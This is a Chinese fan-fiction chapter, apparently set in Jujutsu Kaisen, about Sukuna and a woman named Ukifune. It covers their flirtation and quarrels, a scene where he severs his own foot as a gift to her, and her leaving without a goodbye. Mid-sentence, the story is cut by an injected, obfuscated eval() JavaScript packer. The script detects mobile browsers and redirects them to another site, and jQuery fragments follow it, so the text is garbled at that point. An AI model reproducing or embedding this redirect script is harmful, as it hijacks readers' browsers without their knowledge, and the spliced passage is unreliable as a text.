宿傩原先想,浮舟分明可以再多说两句。但怀中温香软玉只说到那句仿佛意味深长的“宿傩大人”,就一脸满足地偎在他身上了。
他后知后觉才发现,浮舟真可谓留白的行家:说话说一半,后面的倒省事了,全让他自己遐想。
如今要是把她拽起来问个明白,反而显得自己不解风情。
但真是想一探究竟啊,她方才言语中未尽的意涵……
如果是浮舟的话,她在身边说三天三夜,甚至更久,自己也不见得会腻味厌烦。
可宿傩又很快推翻了这个不成熟的想法,只需低下头,就能嗅到她发间的清香。他又觉得,就算浮舟什么也不做,只是躺在他怀里,也什么都不说,居然……也让他感到平静。
宿傩在捧着她的脸颊,浮舟咕哝抬头,发出疑惑的鼻音。这幅迷糊的模样本该惹人嗤笑,现在却也以为娇艳动人。
他定神吻了吻她的额头,浮舟又把脑袋昂更高,他们再嘴唇相贴接吻。
晚上,宿傩甘愿卸下、身体的一部分赠与她。
浮舟在边上百无聊赖地守着,这里,宿傩比比划划,术式割下右脚。
她闻到血腥味就过来摘果子。按耐不住高兴的样子,简直和初见时如出一辙。
宿傩忽然想起那个晚宴上身死的不自量力的刺客,没心情计较那是个什么来头,但彼时,浮舟脸上也挂着这样天真的微笑。
如今对象倒成了他自己……叫人来气。
浮舟这样事不关己的笑意,总是能催生不快,故而宿傩成心不搭理她,也不提醒,任她光脚踩到席间溅射的血滩。
他的血沾满了浮舟的脚心。
“啊!”她急急忙忙后退,路径上立即出现了一个个完整的印子,都是她足部的形状。
他有心刺她,却不敢拿最近的事情说话,只假装叹气:“真可惜,你要是把血留到今天,那时也不至于送命。”
宿傩不搀着她,也不指正她方向,浮舟就知道他又使脾气。现在更是说起了旧事,不过血既然已经出现,目标也就近在眼前。
她不计较,靠在墙边等他说完,“那也会因为别的事情死掉的。你就算不了解我也该了解自己才是。你只是想把我干掉,别的还有么?”
一句话治疗宿傩的恶疾后,浮舟被送上了所需的材料。她又不计前嫌笑吟吟。
宿傩眼睁睁看着断肢落在她手上片刻便消失,这又是一桩难解的把戏。
他问道:“上次我的舌头,也不是被你吃掉了吧。”
浮舟笑答:“当然,我又不爱乱吃东西。”
“撒谎精。”宿傩批评她。
随他怎么说,浮舟扭头出去喊里梅打水。
对方知道宿傩不知怎么流了许多血后又是一通痛心疾首,好端端的人在房间里怎么会出事,肯定是浮舟导致的!
结果到最后里梅也没端来水清理。
还是宿傩拿着湿绢绸,让她坐在他腿上,握着浮舟的脚踝,帮她弄干净,这插曲才算结束。
“你是不是快走了?”他问。
“快了,也许就在明天。”浮舟答完,被宿傩骤然增大的力道擦的又疼又痒。
她屈起腿,脚掌试探性压下他的手,抱怨道:“你不要这么用力。”
“你踩我。”浮舟慢慢用力的时间里,宿傩也丢开了潮湿的布。
他手指捏着拇指下的软肉,“什么时候才能知道,这样肆无忌惮地挑逗别人不好?”
“……”又来?她想起那天晚上,山寺床帐中,抬头得见的威严眼睛。
宿傩虽说着调情的话,现在也让浮舟误以为他要吃掉她。
“我脚心痒,你松开,好不好?”浮舟害怕了,惊慌退让。
他说话有一股鬼气,令人生寒:“那你为什么急着要离开?”
宿傩又一只手摁在她柔软的肚子上,轻轻一压,浮舟就呜咽着软下去。
她不晓得宿傩的手有什么魔力,让她又是痛苦又是舒服。令人惊讶的力道唤醒了感官,刚才他捏她脚的时候也是这样。
“不是……”浮舟怯怯道,“不是我想走的,但在这里,时刻有消耗。”
然后她不知从哪恢复了勇气,握住宿傩放在她小腹上的手,贴在胸前衣襟,吐气如兰恳求:“求你了宿傩大人,不要怪我。我也想……想一直侍候在你身边。”
“说的比唱的好听,”宿傩冷淡地说道,可握着她脚踝的手分毫不松,“我从没见过你这样的咒灵,或者人类。你究竟是谁?”
“呜。”浮舟假装叫唤了两声,音色与痛苦钻到宿傩的耳朵。
然而他以执着的意志力抵抗住了怜悯,毫不动摇。浮舟侧耳探听动静的时候,还被他识破了心机,点出。
宿傩评价其为:“狡猾的女人。”
“不是,呜哇,嗯……”这次她的呻吟并非伪装。
因为他反手又探到浮舟的脚心,食指与中指轻轻在细腻敏感的皮肤上轻盈打圈摩擦。
浮舟只来得及发出两声叫喊,又被这个可恶的家伙欺身压上,他的唇印在侧脸,令人迷醉的灼热吐息吹过耳垂。
声音低沉的男人耳语:“你看,我早就和你说过的。一般人光是听闻你的离奇目的,就要把你捉起来打死了。我比他们好点,但也不会仁慈到哪里去。”
宿傩愉悦地笑了,“你是得到了这一样东西,所以我现在问你,你也该知无不言,否则就是缺乏诚心。”
令人窒息的蛊惑腔调,却能吐出这些话语:“胆敢这样对我的人,你觉得他们都去了哪里?”
“你又吓我,总是这样。”浮舟作出被误解而郁闷的样子,喊道:“为什么要曲解一个真心爱慕者的真情呢?你既从没见过我这样的,就不能用常理推断,否则……”
她奋力地挣扎,终于脱离了他的身体,止不住喘气。若有可能,浮舟恨不得时光停留在此,她好远走高飞,但不行。
她只能垂着头,凌乱又哀凄。
“我难道做过许多惹你怀疑的事吗?”
浮舟说到这里,心虚的要命,只要对方来上一句“这还不够邪门吗?”她便彻底无话可说。宿傩倘若识破虚张声势,她就走投无路了。
萧瑟冬风吹动房门,时间格外漫长。
好在宿傩迈着悠闲的步伐过来扶起她,整理她散乱的鬓发:“好了,我知道了。你那么着急做什么?”
浮舟这才心里怨他折腾人,身体却慢吞吞又往他胸膛上舒服的位置靠,被四只手臂藤蔓般缠绕自愿进入包围正中。
她嗫嚅:“我不能说…”
“知道了知道了。”他拍打她的背脊,像抚摸一只猫咪。
“我难受,心口疼,你再多帮我拍几下。”
“……是是是。前生怕不是个公主贵女,真娇气。”
前生?
贵女?
浮舟惊叹自己与他和好如初的速度,也艳羡宿傩一笑而过的态度。
当然了如果是她伤害别人,她也一定能过眼就忘--打在谁身上谁喊疼,动手的人才不管呢。
这是一种浮舟未曾被授予的特权。
她慢半拍才说:“前生在你身边待了六七天,好像没做过公主。”
脑袋还掉了,死不足惜,顶多算个走卒。
何止前生,浮舟耷拉下脑袋沮丧说:“我累了,可能命里缺点什么。你也好好休息哦。”
终于把宿傩的嘴给堵住。
夜里他又抱着浮舟,在她耳朵边吩咐:“你早回来,下次让你过上公主的生活。”
浮舟将醒未醒睡意朦胧,听到这里忍不住问:“你终于决定要打到皇宫了吗?”
宿傩笑但不言语,浮舟继续嘀咕:“不用为了我做到这种程度呀。”
说完,她就被一股蛮力掀起,再反应过来时,已经紧紧靠在宿傩的胸膛。他手中攥着的是他的散开的衣襟,耳下是心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833797|170222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳。
“偶尔也疑心你是个虚情假意的女人,嘴里也没几句实话。”
浮舟听到这里,松开手掌,手指戳宿傩的胸膛以示不满,被他握住,不得不听他继续讲,“可你一说这种话,我便觉得你大概没那种心眼。”
“难道这也是你有心为之吗,浮舟?”
两三句话又开始讲她不够聪慧,支撑不起所谓的阴谋与诱劝。也就是在宿傩这样有意无意的贬低中,她才能够不迷失方向。
如若他和善些,浮舟才要烦恼呢。唉,事到如今也只有这样安慰自己。
他还在她耳边嗡嗡嗡的骚扰:“又不说话,生气了?那你是不高兴我的怀疑,还是恼怒我的贬低?但我分明只是点名了真相,你脆弱到连事实都能伤害你?”
宿傩两手一撑,圈着浮舟的腰将她向上提,含笑调侃的声音又出现在她耳边。
想不听都不行。
浮舟扭头:“你也知道这样讲话很难听哦。”偏偏总要这样。
“是,那又怎么样。”宿傩呢喃,的确不以为是什么要紧事,他想说也就说了。
“你噘着嘴,蛮讨人喜欢的。”
他言语中毫不避讳自身的恶劣,浮舟也清楚这全是他的问题。
然而……终究不能不因此动摇。
人非草木,总是会难受的。心中五味杂陈的时候宿傩还上赶着来添油加醋,越说她越不高兴。
浮舟怀着悲哀的自尊告诉他:“如果讨人喜欢是好事,那你就不能做点讨我喜欢的事情吗?”
身为主人的宿傩自然觉得她这是倔强又倒反天罡:“不过说你两句--”
浮舟不管他,接着讲完;“还是说,你就是要通过这种程度的推拒,一次一次试探我会不会消磨了情意呢?”
“那我也说句实话。你与其疑心我,还不如早些把在过往丢失的东西弥补回来,谁让你不高兴了你去对付他,是我冷言冷语排挤你?你这样欺负我干什么?”她伏在他身上,气息也是弱弱的,但讲出来的话分毫不让,“如愚见指月,见指不见月。若我以手指月,大人是看见我的手指,还是因之瞧见月亮?”
“叽里咕噜说这么些,真不怕我生气了?”宿傩搂紧了趴在身上的娇小身躯,握着她腰的手指也收紧。
浮舟难受地哼哼,气息不顺,可还是说:“我的……”
他卸了部分力道,她急促地呼吸,声音里也有了得意:“我的手指,还漂亮吗?”
宿傩握住她伸到面前的青葱纤指,带茧的指腹轻掠柔嫩的手背。
“是很美,但切断也就可惜了吧。”他威胁道。
浮舟轻声冷笑,不理会他,毫不顾忌地就在他胸膛上翻了个身,滚到了床榻上,大有任君处置的决然。
直到她理顺衣衫与头发,背对着他的怀抱躺下,宿傩都什么也没做。
臭脾气,真该治治她。他想。
第二天,浮舟没再起来,她离开的时候甚至没对他告别。
宿傩其实有想过她会不打招呼不告而别,但浮舟竟然真这么做了,又给了他额外的惊讶。
吃惊之余,他也想,这究竟和夫妻不睦,做妻子的因一点点小事就轻率地削发出家,留男的在家里心焦,又有什么不同?
宿傩发呆小半天,最后终于得出结论:浮舟气哼哼的模样,当然是和那些小妻子不能控制情感,动不动就不理不睬相似的;然而自己终究不是那种会为感情过分执迷的蠢笨男子。
他不会为女人流泪,也不会为浮舟的小脾气动摇。
哼,不过看她一时为情所困,急急忙忙吐露怨言,扭过身躯之后那小小的影子,的确也惹人怜悯。眼前身影总是挥之不去的……
自己既然不挂心这些小事,下次索性让着她一点,不因为她一时小脾气的失言而口出威胁了。
毕竟……浮舟那样执拗的性格,看着温温和和的,相处起来的确心思细腻,但也颇不饶人的。